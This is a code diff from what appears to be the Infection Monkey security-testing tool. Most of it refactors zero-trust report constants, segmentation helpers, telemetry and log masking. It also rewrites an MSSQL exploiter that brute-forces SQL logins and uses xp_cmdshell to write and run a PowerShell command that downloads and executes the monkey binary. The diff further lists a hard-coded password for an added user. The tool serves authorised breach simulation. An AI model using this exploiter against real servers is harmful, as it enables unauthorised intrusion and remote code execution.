diff --git a/monkey/common/cloud/test_filter_instance_data_from_aws_response.py b/monkey/common/cloud/aws_service_test.py
similarity index 97%
rename from monkey/common/cloud/test_filter_instance_data_from_aws_response.py
rename to monkey/common/cloud/aws_service_test.py
index b48674387..25d1b8b6e 100644
--- a/monkey/common/cloud/test_filter_instance_data_from_aws_response.py
+++ b/monkey/common/cloud/aws_service_test.py
@@ -7,7 +7,7 @@ import json
 __author__ = 'shay.nehmad'
 
 
-class TestFilter_instance_data_from_aws_response(TestCase):
+class TestFilterInstanceDataFromAwsResponse(TestCase):
     def test_filter_instance_data_from_aws_response(self):
         json_response_full = """
         {
diff --git a/monkey/common/data/__init__.py b/monkey/common/data/__init__.py
new file mode 100644
index 000000000..a8c1a93f7
--- /dev/null
+++ b/monkey/common/data/__init__.py
@@ -0,0 +1,2 @@
+from zero_trust_consts import populate_mappings
+populate_mappings()
diff --git a/monkey/common/data/network_consts.py b/monkey/common/data/network_consts.py
new file mode 100644
index 000000000..5fc9d6d8a
--- /dev/null
+++ b/monkey/common/data/network_consts.py
@@ -0,0 +1,2 @@
+ES_SERVICE = 'elastic-search-9200'
+
diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/data/post_breach_consts.py
new file mode 100644
index 000000000..dee4f67d0
--- /dev/null
+++ b/monkey/common/data/post_breach_consts.py
@@ -0,0 +1,3 @@
+POST_BREACH_COMMUNICATE_AS_NEW_USER = "Communicate as new user"
+POST_BREACH_BACKDOOR_USER = "Backdoor user"
+POST_BREACH_FILE_EXECUTION = "File execution"
diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py
new file mode 100644
index 000000000..4add05d04
--- /dev/null
+++ b/monkey/common/data/zero_trust_consts.py
@@ -0,0 +1,205 @@
+"""
+This file contains all the static data relating to Zero Trust. It is mostly used in the zero trust report generation and
+in creating findings.
+
+This file contains static mappings between zero trust components such as: pillars, principles, tests, statuses.
+Some of the mappings are computed when this module is loaded.
+"""
+
+AUTOMATION_ORCHESTRATION = u"Automation & Orchestration"
+VISIBILITY_ANALYTICS = u"Visibility & Analytics"
+WORKLOADS = u"Workloads"
+DEVICES = u"Devices"
+NETWORKS = u"Networks"
+PEOPLE = u"People"
+DATA = u"Data"
+PILLARS = (DATA, PEOPLE, NETWORKS, DEVICES, WORKLOADS, VISIBILITY_ANALYTICS, AUTOMATION_ORCHESTRATION)
+
+STATUS_UNEXECUTED = u"Unexecuted"
+STATUS_PASSED = u"Passed"
+STATUS_VERIFY = u"Verify"
+STATUS_FAILED = u"Failed"
+# Don't change order! The statuses are ordered by importance/severity.
+ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_VERIFY, STATUS_PASSED, STATUS_UNEXECUTED]
+
+TEST_DATA_ENDPOINT_ELASTIC = u"unencrypted_data_endpoint_elastic"
+TEST_DATA_ENDPOINT_HTTP = u"unencrypted_data_endpoint_http"
+TEST_MACHINE_EXPLOITED = u"machine_exploited"
+TEST_ENDPOINT_SECURITY_EXISTS = u"endpoint_security_exists"
+TEST_SCHEDULED_EXECUTION = u"scheduled_execution"
+TEST_MALICIOUS_ACTIVITY_TIMELINE = u"malicious_activity_timeline"
+TEST_SEGMENTATION = u"segmentation"
+TEST_TUNNELING = u"tunneling"
+TEST_COMMUNICATE_AS_NEW_USER = u"communicate_as_new_user"
+TESTS = (
+    TEST_SEGMENTATION,
+    TEST_MALICIOUS_ACTIVITY_TIMELINE,
+    TEST_SCHEDULED_EXECUTION,
+    TEST_ENDPOINT_SECURITY_EXISTS,
+    TEST_MACHINE_EXPLOITED,
+    TEST_DATA_ENDPOINT_HTTP,
+    TEST_DATA_ENDPOINT_ELASTIC,
+    TEST_TUNNELING,
+    TEST_COMMUNICATE_AS_NEW_USER
+)
+
+PRINCIPLE_DATA_TRANSIT = u"data_transit"
+PRINCIPLE_ENDPOINT_SECURITY = u"endpoint_security"
+PRINCIPLE_USER_BEHAVIOUR = u"user_behaviour"
+PRINCIPLE_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic"
+PRINCIPLE_SEGMENTATION = u"segmentation"
+PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES = u"network_policies"
+PRINCIPLE_USERS_MAC_POLICIES = u"users_mac_policies"
+PRINCIPLES = {
+    PRINCIPLE_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.",
+    PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.",
+    PRINCIPLE_USER_BEHAVIOUR: u"Adopt security user behavior analytics.",
+    PRINCIPLE_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.",
+    PRINCIPLE_DATA_TRANSIT: u"Secure data at transit by encrypting it.",
+    PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.",
+    PRINCIPLE_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC (Mandetory "
+                                       u"Access Control) only.",
+}
+
+POSSIBLE_STATUSES_KEY = u"possible_statuses"
+PILLARS_KEY = u"pillars"
+PRINCIPLE_KEY = u"principle_key"
+FINDING_EXPLANATION_BY_STATUS_KEY = u"finding_explanation"
+TEST_EXPLANATION_KEY = u"explanation"
+TESTS_MAP = {
+    TEST_SEGMENTATION: {
+        TEST_EXPLANATION_KEY: u"The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.",
+        FINDING_EXPLANATION_BY_STATUS_KEY: {
+            STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.",
+            STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs."
+        },
+        PRINCIPLE_KEY: PRINCIPLE_SEGMENTATION,
+        PILLARS_KEY: [NETWORKS],
+        POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED]
+    },
+    TEST_MALICIOUS_ACTIVITY_TIMELINE: {
+        TEST_EXPLANATION_KEY: u"The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.",
+        FINDING_EXPLANATION_BY_STATUS_KEY: {
+            STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts."
+        },
+        PRINCIPLE_KEY: PRINCIPLE_ANALYZE_NETWORK_TRAFFIC,
+        PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
+        POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY]
+    },
+    TEST_ENDPOINT_SECURITY_EXISTS: {
+        TEST_EXPLANATION_KEY: u"The Monkey checked if there is an active process of an endpoint security software.",
+        FINDING_EXPLANATION_BY_STATUS_KEY: {
+            STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.",
+            STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern."
+        },
+        PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
+        PILLARS_KEY: [DEVICES],
+        POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+    },
+    TEST_MACHINE_EXPLOITED: {
+        TEST_EXPLANATION_KEY: u"The Monkey tries to exploit machines in order to breach them and propagate in the network.",
+        FINDING_EXPLANATION_BY_STATUS_KEY: {
+            STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.",
+            STATUS_PASSED: "Monkey didn't manage to exploit an endpoint."
+        },
+        PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
+        PILLARS_KEY: [DEVICES],
+        POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY]
+    },
+    TEST_SCHEDULED_EXECUTION: {
+        TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.",
+        FINDING_EXPLANATION_BY_STATUS_KEY: {
+            STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.",
+            STATUS_PASSED: "Monkey failed to execute in a scheduled manner."
+        },
+        PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR,
+        PILLARS_KEY: [PEOPLE, NETWORKS],
+        POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY]
+    },
+    TEST_DATA_ENDPOINT_ELASTIC: {
+        TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to ElasticSearch instances.",
+        FINDING_EXPLANATION_BY_STATUS_KEY: {
+            STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.",
+            STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them."
+        },
+        PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
+        PILLARS_KEY: [DATA],
+        POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+    },
+    TEST_DATA_ENDPOINT_HTTP: {
+        TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to HTTP servers.",
+        FINDING_EXPLANATION_BY_STATUS_KEY: {
+            STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.",
+            STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them."
+        },
+        PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
+        PILLARS_KEY: [DATA],
+        POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+    },
+    TEST_TUNNELING: {
+        TEST_EXPLANATION_KEY: u"The Monkey tried to tunnel traffic using other monkeys.",
+        FINDING_EXPLANATION_BY_STATUS_KEY: {
+            STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them."
+        },
+        PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
+        PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
+        POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED]
+    },
+    TEST_COMMUNICATE_AS_NEW_USER: {
+        TEST_EXPLANATION_KEY: u"The Monkey tried to create a new user and communicate with the internet from it.",
+        FINDING_EXPLANATION_BY_STATUS_KEY: {
+            STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.",
+            STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network."
+        },
+        PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,
+        PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS],
+        POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+    },
+}
+
+EVENT_TYPE_MONKEY_NETWORK = "monkey_network"
+EVENT_TYPE_MONKEY_LOCAL = "monkey_local"
+EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK)
+
+PILLARS_TO_TESTS = {
+    DATA: [],
+    PEOPLE: [],
+    NETWORKS: [],
+    DEVICES: [],
+    WORKLOADS: [],
+    VISIBILITY_ANALYTICS: [],
+    AUTOMATION_ORCHESTRATION: []
+}
+
+PRINCIPLES_TO_TESTS = {}
+
+PRINCIPLES_TO_PILLARS = {}
+
+
+def populate_mappings():
+    populate_pillars_to_tests()
+    populate_principles_to_tests()
+    populate_principles_to_pillars()
+
+
+def populate_pillars_to_tests():
+    for pillar in PILLARS:
+        for test, test_info in TESTS_MAP.items():
+            if pillar in test_info[PILLARS_KEY]:
+                PILLARS_TO_TESTS[pillar].append(test)
+
+
+def populate_principles_to_tests():
+    for single_principle in PRINCIPLES:
+        PRINCIPLES_TO_TESTS[single_principle] = []
+    for test, test_info in TESTS_MAP.items():
+        PRINCIPLES_TO_TESTS[test_info[PRINCIPLE_KEY]].append(test)
+
+
+def populate_principles_to_pillars():
+    for principle, principle_tests in PRINCIPLES_TO_TESTS.items():
+        principles_pillars = set()
+        for test in principle_tests:
+            for pillar in TESTS_MAP[test][PILLARS_KEY]:
+                principles_pillars.add(pillar)
+        PRINCIPLES_TO_PILLARS[principle] = principles_pillars
diff --git a/monkey/common/network/segmentation_utils.py b/monkey/common/network/segmentation_utils.py
new file mode 100644
index 000000000..9bbaabf1d
--- /dev/null
+++ b/monkey/common/network/segmentation_utils.py
@@ -0,0 +1,23 @@
+def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet):
+    """
+    Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet.
+    :param ip_addresses:    List[str]: List of IP addresses to test.
+    :param source_subnet:   NetworkRange: Subnet to want an IP to not be in.
+    :param target_subnet:   NetworkRange: Subnet we want an IP to be in.
+    :return:    The cross segment IP if in source but not in target, else None. Union[str, None]
+    """
+    if get_ip_if_in_subnet(ip_addresses, target_subnet) is not None:
+        return None
+    return get_ip_if_in_subnet(ip_addresses, source_subnet)
+
+
+def get_ip_if_in_subnet(ip_addresses, subnet):
+    """
+    :param ip_addresses: IP address list.
+    :param subnet: Subnet to check if one of ip_addresses is in there. This is common.network.network_range.NetworkRange
+    :return: The first IP in ip_addresses which is in the subnet if there is one, otherwise returns None.
+    """
+    for ip_address in ip_addresses:
+        if subnet.is_in_range(ip_address):
+            return ip_address
+    return None
diff --git a/monkey/common/network/segmentation_utils_test.py b/monkey/common/network/segmentation_utils_test.py
new file mode 100644
index 000000000..56a560922
--- /dev/null
+++ b/monkey/common/network/segmentation_utils_test.py
@@ -0,0 +1,30 @@
+from common.network.network_range import *
+from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+
+
+class TestSegmentationUtils(IslandTestCase):
+    def test_get_ip_in_src_and_not_in_dst(self):
+        self.fail_if_not_testing_env()
+        source = CidrRange("1.1.1.0/24")
+        target = CidrRange("2.2.2.0/24")
+
+        # IP not in both
+        self.assertIsNone(get_ip_in_src_and_not_in_dst(
+            [text_type("3.3.3.3"), text_type("4.4.4.4")], source, target
+        ))
+
+        # IP not in source, in target
+        self.assertIsNone(get_ip_in_src_and_not_in_dst(
+            [text_type("2.2.2.2")], source, target
+        ))
+
+        # IP in source, not in target
+        self.assertIsNotNone(get_ip_in_src_and_not_in_dst(
+            [text_type("8.8.8.8"), text_type("1.1.1.1")], source, target
+        ))
+
+        # IP in both subnets
+        self.assertIsNone(get_ip_in_src_and_not_in_dst(
+            [text_type("8.8.8.8"), text_type("1.1.1.1")], source, source
+        ))
diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py
index cb3c8f029..708bc8f3c 100644
--- a/monkey/common/utils/attack_utils.py
+++ b/monkey/common/utils/attack_utils.py
@@ -10,6 +10,20 @@ class ScanStatus(Enum):
     USED = 2
 
 
+class UsageEnum(Enum):
+    SMB = {ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.",
+           ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR."}
+    MIMIKATZ = {ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.",
+                ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed."}
+    MIMIKATZ_WINAPI = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.",
+                       ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz."}
+    DROPPER = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."}
+    SINGLETON_WINAPI = {ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.",
+                        ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton"
+                                                  " for monkey process wasn't successful."}
+    DROPPER_WINAPI = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."}
+
+
 # Dict that describes what BITS job was used for
 BITS_UPLOAD_STRING = "BITS job was used to upload monkey to a remote system."
 
diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py
index e95ad46b6..35bda0bd2 100644
--- a/monkey/infection_monkey/config.py
+++ b/monkey/infection_monkey/config.py
@@ -1,3 +1,4 @@
+import hashlib
 import os
 import json
 import sys
@@ -13,9 +14,11 @@ GUID = str(uuid.getnode())
 
 EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
 
+SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list"]
+HIDDEN_FIELD_REPLACEMENT_CONTENT = "hidden"
+
 
 class Configuration(object):
-
     def from_kv(self, formatted_data):
         # now we won't work at <2.7 for sure
         network_import = importlib.import_module('infection_monkey.network')
@@ -53,6 +56,12 @@ class Configuration(object):
         result = self.from_kv(formatted_data)
         return result
 
+    @staticmethod
+    def hide_sensitive_info(config_dict):
+        for field in SENSITIVE_FIELDS:
+            config_dict[field] = HIDDEN_FIELD_REPLACEMENT_CONTENT
+        return config_dict
+
     def as_dict(self):
         result = {}
         for key in dir(Configuration):
@@ -174,7 +183,7 @@ class Configuration(object):
 
     # TCP Scanner
     HTTP_PORTS = [80, 8080, 443,
-                  8008, # HTTP alternate
+                  8008,  # HTTP alternate
                   7001  # Oracle Weblogic default server port
                   ]
     tcp_target_ports = [22,
@@ -207,9 +216,6 @@ class Configuration(object):
     user_to_add = "Monkey_IUSER_SUPPORT"
     remote_user_pass = "Password1!"
 
-    # rdp exploiter
-    rdp_use_vbs_download = True
-
     # User and password dictionaries for exploits.
 
     def get_exploit_user_password_pairs(self):
@@ -272,5 +278,17 @@ class Configuration(object):
     PBA_linux_filename = None
     PBA_windows_filename = None
 
+    @staticmethod
+    def hash_sensitive_data(sensitive_data):
+        """
+        Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is
+        saved on client machines plain-text.
+
+        :param sensitive_data: the data to hash.
+        :return: the hashed data.
+        """
+        password_hashed = hashlib.sha512(sensitive_data).hexdigest()
+        return password_hashed
+
 
 WormConfiguration = Configuration()
diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py
index f34784041..4e917e5a6 100644
--- a/monkey/infection_monkey/control.py
+++ b/monkey/infection_monkey/control.py
@@ -125,6 +125,7 @@ class ControlClient(object):
     @staticmethod
     def send_telemetry(telem_category, data):
         if not WormConfiguration.current_server:
+            LOG.error("Trying to send %s telemetry before current server is established, aborting." % telem_category)
             return
         try:
             telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data}
@@ -168,7 +169,8 @@ class ControlClient(object):
 
         try:
             unknown_variables = WormConfiguration.from_kv(reply.json().get('config'))
-            LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
+            LOG.info("New configuration was loaded from server: %r" %
+                     (WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),))
         except Exception as exc:
             # we don't continue with default conf here because it might be dangerous
             LOG.error("Error parsing JSON reply from control server %s (%s): %s",
diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py
index cc065a745..7c576fc30 100644
--- a/monkey/infection_monkey/dropper.py
+++ b/monkey/infection_monkey/dropper.py
@@ -11,9 +11,11 @@ from ctypes import c_char_p
 
 import filecmp
 from infection_monkey.config import WormConfiguration
-from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
+from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
 from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
 from infection_monkey.system_info import SystemInfoCollector, OperatingSystem
+from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
+from common.utils.attack_utils import ScanStatus, UsageEnum
 
 if "win32" == sys.platform:
     from win32process import DETACHED_PROCESS
@@ -156,5 +158,6 @@ class MonkeyDrops(object):
                     else:
                         LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
                                   self._config['source_path'])
+                        T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send()
         except AttributeError:
             LOG.error("Invalid configuration options. Failing")
diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf
index 8dba50352..57b8d6ee5 100644
--- a/monkey/infection_monkey/example.conf
+++ b/monkey/infection_monkey/example.conf
@@ -63,7 +63,6 @@
     "user_to_add": "Monkey_IUSER_SUPPORT",
     "remote_user_pass": "Password1!",
     "ping_scan_timeout": 10000,
-    "rdp_use_vbs_download": true,
     "smb_download_timeout": 300,
     "smb_service_name": "InfectionMonkey",
     "retry_failed_explotation": true,
diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py
index 0dacb3496..312b747b0 100644
--- a/monkey/infection_monkey/exploit/__init__.py
+++ b/monkey/infection_monkey/exploit/__init__.py
@@ -73,12 +73,11 @@ class HostExploiter(object, metaclass=ABCMeta):
         """
         powershell = True if "powershell" in cmd.lower() else False
         self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
-
+        
 
 from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
 from infection_monkey.exploit.wmiexec import WmiExploiter
 from infection_monkey.exploit.smbexec import SmbExploiter
-from infection_monkey.exploit.rdpgrinder import RdpExploiter
 from infection_monkey.exploit.sshexec import SSHExploiter
 from infection_monkey.exploit.shellshock import ShellShockExploiter
 from infection_monkey.exploit.sambacry import SambaCryExploiter
diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py
index 24a902eea..f1057f2dd 100644
--- a/monkey/infection_monkey/exploit/elasticgroovy.py
+++ b/monkey/infection_monkey/exploit/elasticgroovy.py
@@ -8,9 +8,10 @@ import json
 import logging
 import requests
 from infection_monkey.exploit.web_rce import WebRCE
-from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
+from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
     DOWNLOAD_TIMEOUT
-from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
+from infection_monkey.network.elasticfinger import ES_PORT
+from common.data.network_consts import ES_SERVICE
 from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
 from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
 
@@ -38,7 +39,7 @@ class ElasticGroovyExploiter(WebRCE):
         exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
         exploit_config['dropper'] = True
         exploit_config['url_extensions'] = ['_search?pretty']
-        exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP}
+        exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP}
         return exploit_config
 
     def get_open_service_ports(self, port_list, names):
diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py
index 8dfa67b08..05c6315c1 100644
--- a/monkey/infection_monkey/exploit/hadoop.py
+++ b/monkey/infection_monkey/exploit/hadoop.py
@@ -11,7 +11,8 @@ import logging
 import posixpath
 
 from infection_monkey.exploit.web_rce import WebRCE
-from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
+from infection_monkey.exploit.tools.http_tools import HTTPTools
+from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth
 from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND
 
 __author__ = 'VakarisZ'
diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index 9d1dcb2d6..718615114 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -1,16 +1,18 @@
 import logging
 import os
-import textwrap
+import sys
 from time import sleep
 
 import pymssql
 
 from common.utils.exploit_enum import ExploitType
-from infection_monkey.exploit import HostExploiter, tools
-from infection_monkey.exploit.tools import HTTPTools
-from infection_monkey.exploit.tools import get_monkey_dest_path
+from infection_monkey.exploit import HostExploiter
+from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
+from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth
 from infection_monkey.model import DROPPER_ARG
-from infection_monkey.utils import get_monkey_dir_path
+from infection_monkey.utils.monkey_dir import get_monkey_dir_path
+from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
+from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
 
 LOG = logging.getLogger(__name__)
 
@@ -24,98 +26,145 @@ class MSSQLExploiter(HostExploiter):
     # Time in seconds to wait between MSSQL queries.
     QUERY_BUFFER = 0.5
     SQL_DEFAULT_TCP_PORT = '1433'
+
     # Temporary file that saves commands for monkey's download and execution.
     TMP_FILE_NAME = 'tmp_monkey.bat'
+    TMP_DIR_PATH = "%temp%\\tmp_monkey_dir"
+
+    MAX_XP_CMDSHELL_COMMAND_SIZE = 128
+
+    XP_CMDSHELL_COMMAND_START = "xp_cmdshell \""
+    XP_CMDSHELL_COMMAND_END = "\""
+    EXPLOIT_COMMAND_PREFIX = "<nul set /p="
+    EXPLOIT_COMMAND_SUFFIX = ">>{payload_file_path}"
+    CREATE_COMMAND_SUFFIX = ">{payload_file_path}"
+    MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \
+                              "DownloadFile(^\'{http_path}^\' , ^\'{dst_path}^\')"
 
     def __init__(self, host):
         super(MSSQLExploiter, self).__init__(host)
+        self.cursor = None
+        self.monkey_server = None
+        self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME)
 
     def _exploit_host(self):
+        """
+        First this method brute forces to get the mssql connection (cursor).
+        Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after
+        """
         # Brute force to get connection
         username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
-        cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
+        self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
 
-        if not cursor:
-            LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
-            return False
+        # Create dir for payload
+        self.create_temp_dir()
 
-        # Get monkey exe for host and it's path
-        src_path = tools.get_target_monkey(self.host)
-        if not src_path:
-            LOG.info("Can't find suitable monkey executable for host %r", self.host)
-            return False
-
-        # Create server for http download and wait for it's startup.
-        http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
-        if not http_path:
-            LOG.debug("Exploiter failed, http transfer creation failed.")
-            return False
-        LOG.info("Started http server on %s", http_path)
-
-        dst_path = get_monkey_dest_path(http_path)
-        tmp_file_path = os.path.join(get_monkey_dir_path(), MSSQLExploiter.TMP_FILE_NAME)
-
-        # Create monkey dir.
-        commands = ["xp_cmdshell \"mkdir %s\"" % get_monkey_dir_path()]
-        MSSQLExploiter.execute_command(cursor, commands)
-
-        # Form download command in a file
-        commands = [
-            "xp_cmdshell \"<nul set /p=powershell (new-object System.Net.WebClient).DownloadFile>%s\"" % tmp_file_path,
-            "xp_cmdshell \"<nul set /p=(^\'%s^\' >>%s\"" % (http_path, tmp_file_path),
-            "xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)]
-        MSSQLExploiter.execute_command(cursor, commands)
-        MSSQLExploiter.run_file(cursor, tmp_file_path)
-        self.add_executed_cmd(' '.join(commands))
-        # Form monkey's command in a file
-        monkey_args = tools.build_monkey_commandline(self.host,
-                                                     tools.get_monkey_depth() - 1,
-                                                     dst_path)
-        monkey_args = ["xp_cmdshell \"<nul set /p=%s >>%s\"" % (part, tmp_file_path)
-                       for part in textwrap.wrap(monkey_args, 40)]
-        commands = ["xp_cmdshell \"<nul set /p=%s %s >%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)]
-        commands.extend(monkey_args)
-        MSSQLExploiter.execute_command(cursor, commands)
-        MSSQLExploiter.run_file(cursor, tmp_file_path)
-        self.add_executed_cmd(commands[-1])
-        return True
-
-    @staticmethod
-    def run_file(cursor, file_path):
-        command = ["exec xp_cmdshell \"%s\"" % file_path]
-        return MSSQLExploiter.execute_command(cursor, command)
-
-    @staticmethod
-    def execute_command(cursor, cmds):
-        """
-        Executes commands on MSSQL server
-        :param cursor: MSSQL connection
-        :param cmds: list of commands in MSSQL syntax.
-        :return: True if successfully executed, false otherwise.
-        """
         try:
-            # Running the cmd on remote host
-            for cmd in cmds:
-                cursor.execute(cmd)
-                sleep(MSSQLExploiter.QUERY_BUFFER)
+            self.create_empty_payload_file()
+
+            self.start_monkey_server()
+            self.upload_monkey()
+            self.stop_monkey_server()
+
+            # Clear payload to pass in another command
+            self.create_empty_payload_file()
+
+            self.run_monkey()
+
+            self.remove_temp_dir()
         except Exception as e:
-            LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e)
-            return False
+            raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2]
+
         return True
 
+    def run_payload_file(self):
+        file_running_command = MSSQLLimitedSizePayload(self.payload_file_path)
+        return self.run_mssql_command(file_running_command)
+
+    def create_temp_dir(self):
+        dir_creation_command = MSSQLLimitedSizePayload(command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
+        self.run_mssql_command(dir_creation_command)
+
+    def create_empty_payload_file(self):
